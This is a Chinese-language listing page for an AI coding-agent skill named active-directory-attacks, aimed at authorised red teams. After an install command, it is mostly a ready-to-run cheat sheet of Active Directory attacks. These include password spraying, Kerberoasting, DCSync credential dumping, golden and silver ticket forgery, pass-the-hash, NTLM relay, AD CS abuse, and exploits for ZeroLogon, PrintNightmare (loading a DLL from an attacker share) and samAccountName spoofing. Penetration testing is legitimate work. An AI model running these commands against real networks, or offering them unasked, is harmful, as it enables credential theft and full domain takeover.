关于 Active Directory Attacks
用于评估 Microsoft Active Directory 环境的安全技能,涵盖侦察、凭据攻击、Kerberos 和权限提升。面向经授权的红队行动与渗透测试,提供工作流程及常用工具参考。
主要功能
- 01枚举域与用户
- 02评估凭据和 Kerberos 攻击路径
- 03记录横向移动与权限提升技术
- 04检查 AD CS 和已知 CVE 攻击方法
- 05提供操作限制与故障排查
适用场景
- 01规划经授权的 AD 渗透测试
- 02识别域内攻击路径
- 03评估凭据与 Kerberos 攻击风险
- 04测试后梳理修复优先级
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill active-directory-attacks安装后在 Claude Code 中输入/active-directory-attacks确认已加载。
附带文件references/advanced-attacks.md
详细介绍
Active Directory 攻击
目的
提供攻击 Microsoft Active Directory 环境的全面技术。涵盖侦察、凭据获取、Kerberos 攻击、横向移动、权限提升和域控制,适用于红队行动和渗透测试。
输入/前置条件
- Kali Linux 或 Windows 攻击平台
- 域用户凭据(大多数攻击都需要)
- 对域控制器的网络访问权限
- 工具:Impacket、Mimikatz、BloodHound、Rubeus、CrackMapExec
输出/交付物
- 域枚举数据
- 提取的凭据和哈希
- 用于模拟身份的 Kerberos 票据
- 域管理员访问权限
- 持久化访问机制
必备工具
| 工具 | 用途 |
|---|---|
| BloodHound | AD 攻击路径可视化 |
| Impacket | Python AD 攻击工具 |
| Mimikatz | 凭据提取 |
| Rubeus | Kerberos 攻击 |
| CrackMapExec | 网络利用 |
| PowerView | AD 枚举 |
| Responder | LLMNR/NBT-NS 欺骗 |
核心工作流
步骤 1:Kerberos 时钟同步
Kerberos 要求时钟同步(±5 分钟):
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"
# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>
步骤 2:使用 BloodHound 进行 AD 侦察
# Start BloodHound
neo4j console
bloodhound --no-sandbox
# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
步骤 3:PowerView 枚举
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Find local admin access
Find-LocalAdminAccess -Verbose
# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
凭据攻击
密码喷洒
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
提取服务帐户 TGS 票据并离线破解:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
针对设置了“Do not require Kerberos preauthentication”的帐户:
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
DCSync 攻击
直接从 DC 提取凭据(需要 Replicating Directory Changes 权限):
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Kerberos 票据攻击
传递票据(黄金票据)
使用 krbtgt 哈希为任意用户伪造 TGT:
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
白银票据
为特定服务伪造 TGS:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
哈希传递
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
OverPass-the-Hash
将 NTLM 哈希转换为 Kerberos 票据:
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
NTLM 中继攻击
Responder + ntlmrelayx
# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf
# Start relay
ntlmrelayx.py -tf targets.txt -smb2support
# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
SMB 签名检查
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
证书服务攻击(AD CS)
ESC1 - 配置错误的模板
# Find vulnerable templates
certipy find -u [email protected] -p password -dc-ip 10.10.10.10
# Exploit ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 - Web Enrollment 中继
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
严重 CVE
ZeroLogon(CVE-2020-1472)
# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# Extract hashes
secretsdump.py -just-dc domain.local/DC01\[email protected] -no-pass
# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
PrintNightmare(CVE-2021-1675)
# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'
samAccountName 欺骗(CVE-2021-42278/42287)
# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
快速参考
| 攻击 | 工具 | 命令 |
|---|---|---|
| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| 哈希传递 | psexec | psexec.py domain/user@target -hashes :HASH |
| 黄金票据 | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| 喷洒 | kerbrute | kerbrute passwordspray -d domain users.txt Pass |
限制
必须:
- 在 Kerberos 攻击前与 DC 同步时间
- 大多数攻击都要具备有效的域凭据
- 记录所有已攻陷的帐户
不得:
- 通过过度密码喷洒导致帐户锁定
- 未经批准修改生产环境中的 AD 对象
- 不记录黄金票据就将其遗留
应当:
- 运行 BloodHound 以发现攻击路径
- 在中继攻击前检查 SMB 签名
- 在利用 CVE 前确认补丁级别
示例
示例 1:通过 Kerberoasting 攻陷域
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Use cracked service account
psexec.py domain.local/svc_admin:[email protected]
示例 2:将 NTLM 中继到 LDAP
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. Use created machine account for RBCD attack
故障排除
| 问题 | 解决方案 |
|---|---|
| 时钟偏差过大 | 与 DC 同步时间或使用 faketime |
| Kerberoasting 返回空结果 | 没有配置 SPN 的服务帐户 |
| DCSync 访问被拒绝 | 需要 Replicating Directory Changes 权限 |
| NTLM 中继失败 | 检查 SMB 签名,尝试 LDAP 目标 |
| BloodHound 结果为空 | 确认采集器使用了正确的凭据运行 |
其他资源
有关委派攻击、GPO 滥用、RODC 攻击、SCCM/WSUS 部署、ADCS 漏洞利用、信任关系和 Linux AD 集成等高级技术,请参阅 references/advanced-attacks.md。
评论
支持 Markdown